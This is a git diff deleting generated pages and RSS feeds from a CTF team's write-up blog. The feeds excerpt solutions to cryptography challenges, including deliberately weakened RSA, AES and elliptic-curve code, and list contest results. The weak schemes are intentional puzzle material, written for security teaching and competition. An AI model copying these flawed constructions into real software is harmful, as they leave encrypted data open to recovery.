&quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}&quot;).encode() assert FLAG.startswith(b&quot;corn{&quot;) and FLAG.endswith(b&quot;}&quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(&quot;No weak messages allowed here&quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f&quot;Invalid point: {x} does not describe any point on the curve&quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig. - - - - Key in the haystack - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. - - - - Confusion - http://localhost:1313/writeups/srdnlen2025/confusion/ - Wed, 12 Mar 2025 22:04:00 +0100 - - http://localhost:1313/writeups/srdnlen2025/confusion/ - Confusion Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? -Introduction Confusion was a crypto CTF from Srdnlen CTF 2025. -#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv(&quot;FLAG&quot;, &quot;srdnlen{REDACTED}&quot;).encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os. - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - SmallAuth - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). - - - - Rivest, Shamir, Adleman 2 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) - - - - Rivest, Shamir, Adleman 1 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - Yet Another OT - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. - - - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/crypto/page/1/index.html b/public/tags/crypto/page/1/index.html deleted file mode 100644 index 9e261dab..00000000 --- a/public/tags/crypto/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/crypto/ - - - - - - diff --git a/public/tags/crypto/page/2/index.html b/public/tags/crypto/page/2/index.html deleted file mode 100644 index 1f536cbf..00000000 --- a/public/tags/crypto/page/2/index.html +++ /dev/null @@ -1,342 +0,0 @@ - - - - - - - - - - - Crypto - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Crypto

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/crypto/page/3/index.html b/public/tags/crypto/page/3/index.html deleted file mode 100644 index 3335da16..00000000 --- a/public/tags/crypto/page/3/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - Crypto - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Crypto

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/crypto/page/4/index.html b/public/tags/crypto/page/4/index.html deleted file mode 100644 index 4af5cbd5..00000000 --- a/public/tags/crypto/page/4/index.html +++ /dev/null @@ -1,326 +0,0 @@ - - - - - - - - - - - Crypto - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Crypto

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/cryptocat/index.html b/public/tags/cryptocat/index.html deleted file mode 100644 index 667eef21..00000000 --- a/public/tags/cryptocat/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Cryptocat - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Cryptocat

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/cryptocat/index.xml b/public/tags/cryptocat/index.xml deleted file mode 100644 index 4965a528..00000000 --- a/public/tags/cryptocat/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Cryptocat on ByteTheCookies - http://localhost:1313/tags/cryptocat/ - Recent content in Cryptocat on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:31 +0200 - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - \ No newline at end of file diff --git a/public/tags/cryptocat/page/1/index.html b/public/tags/cryptocat/page/1/index.html deleted file mode 100644 index d47b580d..00000000 --- a/public/tags/cryptocat/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/cryptocat/ - - - - - - diff --git a/public/tags/cryptography/index.html b/public/tags/cryptography/index.html deleted file mode 100644 index d41e39b2..00000000 --- a/public/tags/cryptography/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Cryptography - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Cryptography

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/cryptography/index.xml b/public/tags/cryptography/index.xml deleted file mode 100644 index e2053e0c..00000000 --- a/public/tags/cryptography/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Cryptography on ByteTheCookies - http://localhost:1313/tags/cryptography/ - Recent content in Cryptography on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - \ No newline at end of file diff --git a/public/tags/cryptography/page/1/index.html b/public/tags/cryptography/page/1/index.html deleted file mode 100644 index 47c414da..00000000 --- a/public/tags/cryptography/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/cryptography/ - - - - - - diff --git a/public/tags/ctf/index.html b/public/tags/ctf/index.html deleted file mode 100644 index d8d63627..00000000 --- a/public/tags/ctf/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - CTF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

CTF

- - - -
- - -
-

2025

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/ctf/index.xml b/public/tags/ctf/index.xml deleted file mode 100644 index f4e8784c..00000000 --- a/public/tags/ctf/index.xml +++ /dev/null @@ -1,180 +0,0 @@ - - - - CTF on ByteTheCookies - http://localhost:1313/tags/ctf/ - Recent content in CTF on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 - - - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - TRX CTF 2025 - http://localhost:1313/writeups/trx2025/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/writeups/trx2025/ - TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! - - - - Srdnlen CTF 2025 - http://localhost:1313/writeups/srdnlen2025/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/writeups/srdnlen2025/ - Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - m0leCon CTF 2025 Teaser - http://localhost:1313/writeups/m0lecon2025teaser/ - Sun, 15 Sep 2024 12:59:51 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/ - m0leCon CTF 2025 Teaser Description m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino. -Url Discord Performance Summary CTFs: 1/18 Total points: 100 Position: 71/500 Rating points: 2.920 Writeups Crypto Yet Another OT - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/ctf/page/1/index.html b/public/tags/ctf/page/1/index.html deleted file mode 100644 index 835ba125..00000000 --- a/public/tags/ctf/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ctf/ - - - - - - diff --git a/public/tags/ctf/page/2/index.html b/public/tags/ctf/page/2/index.html deleted file mode 100644 index f4d740b6..00000000 --- a/public/tags/ctf/page/2/index.html +++ /dev/null @@ -1,342 +0,0 @@ - - - - - - - - - - - CTF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

CTF

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/ctf/page/3/index.html b/public/tags/ctf/page/3/index.html deleted file mode 100644 index da910ca5..00000000 --- a/public/tags/ctf/page/3/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - CTF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

CTF

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/ctf/page/4/index.html b/public/tags/ctf/page/4/index.html deleted file mode 100644 index fd539eaf..00000000 --- a/public/tags/ctf/page/4/index.html +++ /dev/null @@ -1,299 +0,0 @@ - - - - - - - - - - - CTF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

CTF

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
